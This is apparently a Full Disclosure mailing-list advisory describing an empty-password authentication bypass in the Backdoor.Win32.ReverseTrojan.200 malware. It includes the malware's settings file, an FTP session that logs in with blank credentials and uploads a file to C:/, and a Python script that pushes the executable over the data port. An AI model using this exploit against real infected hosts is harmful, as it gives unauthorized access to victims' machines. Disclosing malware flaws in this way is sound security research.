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Date: Wed, 23 Jun 2021 21:46:11 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.ReverseTrojan.200 / Authentication Bypass Empty
	Password

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/3fbec7c0623f5f80e4d9c096a50b0d59.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.ReverseTrojan.200
Vulnerability: Authentication Bypass Empty Password
Description: ReverseTrojan by satan_addict listens on TCP ports, 12000 and
21. The malware accepts empty credentials for authentication as the default
settings are set to blank. Third-party attackers who can reach an infected
host can potentially gain access to the machine before or if no password is
set.
Type: PE32
MD5: 3fbec7c0623f5f80e4d9c096a50b0d59
Vuln ID: MVID-2021-0256
Disclosure: 06/23/2021

settings.ini

[wsc]
vernfo=2.00b2
scurl=http://satanzcrew.no.sapo.pt
newsurl=http://satanzcrew.no.sapo.pt/news/news.txt
[socket]
port=12000
[ftp]
port=21
user=
pwd=
[show]
intro=OFF

Exploit/PoC:
nc64.exe 192.168.18.127 21
220 REVERSE TROJAN by satan_addict FTP Server ready.
USER
331 Password required for .
PASS
230 User  logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
PASV
227 Entering Passive Mode (192,168,18,127,196,208).
CDUP
250 CWD command successful. "C:/" is current directory.
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok


from socket import *

MALWARE_HOST="192.168.18.127"
#192*256 + 208
PORT=50384
DOOM="DOOM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()

    s.close()

    print("Backdoor.Win32.ReverseTrojan.200 / Authentication Bypass Empty
Password")
    print("MD5: 3fbec7c0623f5f80e4d9c096a50b0d59")
    print("By Malvuln");

if __name__=="__main__":
    doit()


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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